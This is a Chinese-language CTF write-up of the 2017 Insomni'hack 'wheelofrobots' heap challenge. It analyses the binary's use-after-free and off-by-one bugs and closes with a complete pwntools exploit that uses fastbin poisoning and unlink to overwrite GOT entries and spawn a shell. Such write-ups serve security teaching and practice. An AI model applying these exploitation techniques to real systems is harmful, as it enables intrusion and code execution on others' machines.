2017 insomni'hack wheelofrobots Writeup
0x00 前言
题目地址:wheelofrobots
程序保护:
0x01 程序分析
1.1 main
main程序如下图。进入程序后,先显示菜单,然后用户输入,根据选项调用相应的功能函数。
菜单函数如下图,该程序主要有四个功能:添加、删除、修改、输出。
选项读取函数如下,使用read()
向a1
处读入len
长度,然后调用atoi
将其转化为数字。
1.2 add
程序一共有6个机器人可供选择,用数字1,2,3,4,5,6来选择,根据用户选择执行相应的添加流程。总共添加的机器人轮子数不超过2,即最多添加3个机器人。
机器人1 Tinny的分配即case 1
部分:判断是否使用-->申请大小为20块,将地址保存在tinny
-->tinny_inuse
置1-->往块中写入默认内容-->轮子数+1
机器人2 Bender的添加代码如下图。与1 tinny相比可以控制申请块的大小,并将大小变量保存在bender_size
全局变量中。
机器人3 Devil与2一样,但可以分配更大的内存块。
机器人4 Chain与机器人5 Ire一样,只能申请固定大小块。
机器人6 Destructor也是与前面一样的操作。
1.3 remove
移除的操作每个机器人都一样,以机器人1为例。这里机器人移除后指针没有置NULL!
1.4 change
修改操作每个机器人都一样,只是可写入的块大小不同,以机器人1,2为例。
1.5 start_robot
此功能实际为打印,函数sub_400CA0(char *p)
包含一个printf
打印,可以将p
指向的内容打印出来,这里p
为各机器人块地址。但switch
中的sub_4051BD()
结果是随机的,且打印完后会执行exit(1)
程序会直接退出。
int start_robot()
{
if ( (unsigned __int64)robot_wheel_cnt > 2 ) //要求轮子数为2
{
switch ( (unsigned int)sub_4015BD(6LL) ) //结果具有随机性
{
case 1u:
if ( !bender_inuse )
goto LABEL_6;
sub_400CA0(tinny); // 打印tinny指针指向的内容
break;
case 2u:
LABEL_6:
if ( !bender_inuse )
goto LABEL_8;
sub_400B20((__int64)"Are you kidding me!!!");
break;
case 3u:
LABEL_8:
if ( !devil_inuse )
goto LABEL_10;
sub_400CA0(devil);
break;
case 4u:
LABEL_10:
if ( !chain_inuse )
goto LABEL_12;
sub_400CA0((char *)chain);
break;
case 5u:
LABEL_12:
if ( !ire_inuse )
goto LABEL_14;
sub_400CA0((char *)ire);
break;
case 6u:
LABEL_14:
if ( !destructor_inuse )
goto LABEL_16;
sub_400CA0((char *)destructor);
break;
default:
LABEL_16:
sub_400BE5(" AH AH AH Welcome in Robot Hell!! ");
break;
}
exit(1); // 打印完后直接退出
}
return puts("Filling the wheel first!");
}
1.6 bss变量位置关系
可以看到依次存储的是:各机器人块地址-->用户选择-->各机器人使用状态-->轮子数-->各机器人块大小
.bss:00000000006030E0 chain dq ? ; DATA XREF: add+28F↑w
.bss:00000000006030E0 ; add+296↑r ...
.bss:00000000006030E8 ; void *destructor
.bss:00000000006030E8 destructor dq ? ; DATA XREF: add+3A0↑w
.bss:00000000006030E8 ; add+3BB↑r ...
.bss:00000000006030F0 ; void *bender
.bss:00000000006030F0 bender dq ? ; DATA XREF: add+162↑w
.bss:00000000006030F0 ; add+17D↑r ...
.bss:00000000006030F8 ; char *tinny
.bss:00000000006030F8 tinny dq ? ; DATA XREF: add+A6↑w
.bss:00000000006030F8 ; add+B7↑r ...
.bss:0000000000603100 ; char *devil
.bss:0000000000603100 devil dq ? ; DATA XREF: add+225↑w
.bss:0000000000603100 ; add+240↑r ...
.bss:0000000000603108 ; void *ire
.bss:0000000000603108 ire dq ? ; DATA XREF: add+2F3↑w
.bss:0000000000603108 ; add+2FA↑r ...
.bss:0000000000603110 ; char *choice
.bss:0000000000603110 choice db ? ; ; DATA XREF: add+3A↑o
.bss:0000000000603110 ; add+49↑o ...
.bss:0000000000603111 db ? ;
.bss:0000000000603112 db ? ;
.bss:0000000000603113 db ? ;
.bss:0000000000603114 ; int bender_inuse
.bss:0000000000603114 bender_inuse dd ? ; DATA XREF: add:loc_400EE0↑r
.bss:0000000000603114 ; add+173↑w ...
.bss:0000000000603118 ; int chain_inuse
.bss:0000000000603118 chain_inuse dd ? ; DATA XREF: add:loc_40106A↑r
.bss:0000000000603118 ; add+2B5↑w ...
.bss:000000000060311C ; int destructor_inuse
.bss:000000000060311C destructor_inuse dd ? ; DATA XREF: add:loc_401135↑r
.bss:000000000060311C ; add+3B1↑w ...
.bss:0000000000603120 ; int tinny_inuse
.bss:0000000000603120 tinny_inuse dd ? ; DATA XREF: add:loc_400E81↑r
.bss:0000000000603120 ; add+AD↑w ...
.bss:0000000000603124 ; int devil_inuse
.bss:0000000000603124 devil_inuse dd ? ; DATA XREF: add:loc_400FA3↑r
.bss:0000000000603124 ; add+236↑w ...
.bss:0000000000603128 ; int ire_inuse
.bss:0000000000603128 ire_inuse dd ? ; DATA XREF: add:loc_4010CE↑r
.bss:0000000000603128 ; add+31C↑w ...
.bss:000000000060312C align 10h
.bss:0000000000603130 ; __int64 robot_wheel_cnt
.bss:0000000000603130 robot_wheel_cnt dq ? ; DATA XREF: add+56↑r
.bss:0000000000603130 ; add+D1↑r ...
.bss:0000000000603138 ; __int64 bender_size
.bss:0000000000603138 bender_size dq ? ; DATA XREF: add+16C↑w
.bss:0000000000603138 ; change+AC↑r
.bss:0000000000603140 ; __int64 devil_size
.bss:0000000000603140 devil_size dq ? ; DATA XREF: add+22F↑w
.bss:0000000000603140 ; change+F5↑r
.bss:0000000000603148 ; __int64 destructor_size
.bss:0000000000603148 destructor_size dq ? ; DATA XREF: add+3AA↑w
.bss:0000000000603148 ; change+19C↑r
0x02 利用思路
从后向前介绍思路,最终要执行system("/bin/sh")
,需要泄露某个函数地址,获得动态链接库加载基址。程序中start_robot
功能中的输出可以被利用来泄露函数地址,但这里输出的内容为机器人指针指向的内容,所以我们应该想办法将机器人指针修改为某函数GOT地址,从而泄露该函数实际地址。
为了修改机器人(chunk)指针内容,可以使用unlink,这就需要构造fake_chunk并溢出数据覆盖下一个chunk的header。这里有3个块的大小由变量决定,若能篡改其中一个块的size,则可以达到上面的目的。
在前面的分析中发现,机器人指针free
后没有置NULL
,我们还可以继续往对应地址写入内容。我们可以利用fastbin机制漏洞,将chunk分配到0x603138
处,进而可以向0x603148(destructor_size)
处写值,控制destructor
chunk
大小,实现unlink。
分配chunk到0x603138后
0x603138 pre_size //bender_size
0x603140 size //devil_size
0x603148 userdata //destructor_size
fastbin漏洞原理
fastbin链表使用的是单链表,设初始申请大小为0x20的chunk0,地址为chunk0_ptr,再释放,这时链表指向:fastbin[0]=>chunk0_ptr
若有个地址fake_ptr,我们可以控制fake_ptr+0x08处的值为0x21(与上面块大小相同),这时我们向chunk0写入fake_ptr(利用分配时得到的指针),这时chunk0的fd就会变成fake_ptr,链表指向:fastbin[0]=>chunk0_ptr=>fake_ptr
这时我们再分配大小为0x20的块,就会把chunk0重新分配出来,这时链表指向:fastbin[0]=>fake_ptr
然后我们再分配大小为0x20的块,就会得到一个地址为fake_ptr的chunk,进而可以往fake_ptr+0x10处写入数据。
P.S. 之所以要求fake_ptr+0x08处值为0x21是因为fastbin在分配时会进行检查块大小是否正确(同一个链里块大小相同)
为了实现将chunk分配到0x603138
处,需要满足两个条件:
- 一个释放后依然可修改的chunk
0x603140
位置可修改(即期望得到的chunk的size字段)为期望大小
第2个条件很容易满足,因为0x603140
位置为devil_size
位置,我们可以在申请devil
机器人时设置它的大小,其大小约束(<=0x63)满足我们的需求。
第1个条件,程序在释放chunk后没有对指针置空,所以依然可以利用该指针访问chunk,但是修改功能会对机器人inuse
标志进行判断,所以我们需要能控制inuse
的值。
要篡改inuse
的值就要用到程序中存在的一个off by one漏洞了。
如图所示,在添加机器人时,允许输入5个字节到choice
。
而choice
只有4个字节,多出的1个字节会写到bender_inuse
里,进而我们就可以控制bender_inuse
的标志!
而bender
的大小(20*v7, v7<=4)也满足我们的要求,因此我们可以利用bender
基于fastbin机制漏洞将chunk分到我们指定的区域。
总结
1.利用off by one控制bender_inuse
,分配devil
大小为0x21
,利用bender
基于fastbin漏洞基址将地址为0x603038
的chunk分配给tinny
2.删除bender
,devil
块,分配destructor
和devil
,其中devil
块范围要超过fastbin,为unlink做准备
3.利用步骤1分配的chunk修改destructor_size
,构造payload写入destructor
并溢出到devil
的header
4.free(devil)
实现unlink,构造payload实现任意地址写
5.修改机器人指针为某函数地址,将exit@got
改为ret
地址(防止输出后退出程序),利用start_robots
泄露函数地址
6.计算动态链接库基址,计算system
地址值,将free@got
改为system
地址,将destructor
指向binsh
字符串,然后调用delete
函数,原意释放destructor
变为执行system("/bin/sh")
,得到shell.
0x03 Exploit
利用代码如下:
from pwn import *
p = process('./wheelofrobots')
#context.log_level = 'debug'
def add(robot, size=0):
p.sendlineafter('choice : ','1')
p.sendlineafter('choice :', str(robot))
if(robot==2):
p.sendlineafter('intelligence: ', str(size))
elif(robot==3):
p.sendlineafter('cruelty: ', str(size))
elif(robot==6):
p.sendlineafter('powerful: ', str(size))
def remove(robot):
p.sendlineafter('choice : ', '2')
p.sendlineafter('choice :', str(robot))
def change(robot,content):
p.sendlineafter('choice : ', '3')
p.sendlineafter('choice :', str(robot))
p.sendafter('name: ', content)
def start_robot():
p.sendlineafter('choice : ', '4')
def ch_bender_inuse(bit):
p.sendlineafter('choice : ','1')
p.sendlineafter('choice :', '9999'+bit)
def write(where, what):
change(1, p64(where))
change(6, p64(what))
#gdb.attach(p)
# 分配bender再释放,使得fastbin[0]指向bender_ptr
add(2,1)
remove(2)
# 为修改bender->fd,利用off by one修改bender_inuse标志为使用
ch_bender_inuse('\x01')
# 将bender->fd设为0x603138
change(2, p64(0x603138))
# 将bender_inuse还原为未使用,fastbin[0]==>bender_ptr==>0x603138
ch_bender_inuse('\x00')
#将bender_ptr重新分配出来,fastbin[0]==>0x603138
add(2,1)
#将0x603140(devil_size)设置为0x21,因fastbin分配时会验证大小
add(3,0x21)
#将0x603138地址开始的chunk分配给tinny(1)
add(1)
# 因最多分配3个,移除多余的
remove(2)
remove(3)
# 分配两个chunk用来实现unlink
add(6,3) #destructor,用于溢出,实际数据大小为0x40(3*20=60,再加上对齐)
add(3,7) #devil
# 向1块用户空间(0x603148--destructor_size)写入内容,即修改destructor_size为0x80
change(1,p64(0x80))
# 构造payload unlink
target = 0x6030E8 #destructor指针地址
fd = target - 0x18
bk = target - 0x10
# 构造fake_chunk
payload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + b'a'*8
# 修改devil chunk header
payload += p64(0x40) + p64(0xa0)
# 写入destructor并溢出
change(6,payload)
# unlink,使destructor[0]=&destructor-0x18
remove(3)
# 构造payload写入destructor即0x6030D0,使tinny指向destructor
# 进而可以通过控制tinny修改destructor的指向,通过destructor修改其指向位置的内容,实现任意写
payload = p64(0)*2 + b'a'*0x18 + p64(0x6030e8)
change(6,payload)
#.bss:00000000006030D0 stdin dq ? 0
#.bss:00000000006030D8 byte_6030D8 db ? 0
#.bss:00000000006030E0 chain dq ? 'aaaaaaaa'
#.bss:00000000006030E8 destructor dq ? 'aaaaaaaa'
#.bss:00000000006030F0 bender dq ? 'aaaaaaaa'
#.bss:00000000006030F8 tinny dq ? 0x006030E8
#.bss:0000000000603100 devil dq ?
libc = ELF('./libc-2.23.so')
elf = ELF('./wheelofrobots')
# patch exit为return指令,防止输出地址后exit(1)退出
write(elf.got['exit'], 0x401954)
puts_got = elf.got['puts']
# .bss:0000000000603130 robot_wheel_cnt dq ?
# 修改robot_wheel_cnt值为3,使start_robot()可以输出
write(0x603130, 3)
# 修改tinny指向(destructor)值为puts@got地址
change(1,p64(elf.got['puts']))
# 输出destructor指向(puts@got)的内容,即puts的实际地址
start_robot()
p.recvuntil('great!! Thx ')
leak = p.recvuntil('!\n')[:-2]
leak_puts = u64(leak.ljust(8,b'\x00'))
log.success('leak puts addr: ' + hex(leak_puts))
# 计算动态链接库加载基址,及system函数地址
libc_base = leak_puts - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.success('/bin/sh addr: ' + hex(binsh_addr))
# 将free@got值改为system函数地址
write(elf.got['free'], sys_addr)
# 将destructor设为"/bin/sh"字符串地址
change(1,p64(binsh_addr))
# free(destructor)==>system("/bin/sh")
remove(6)
p.interactive()
执行结果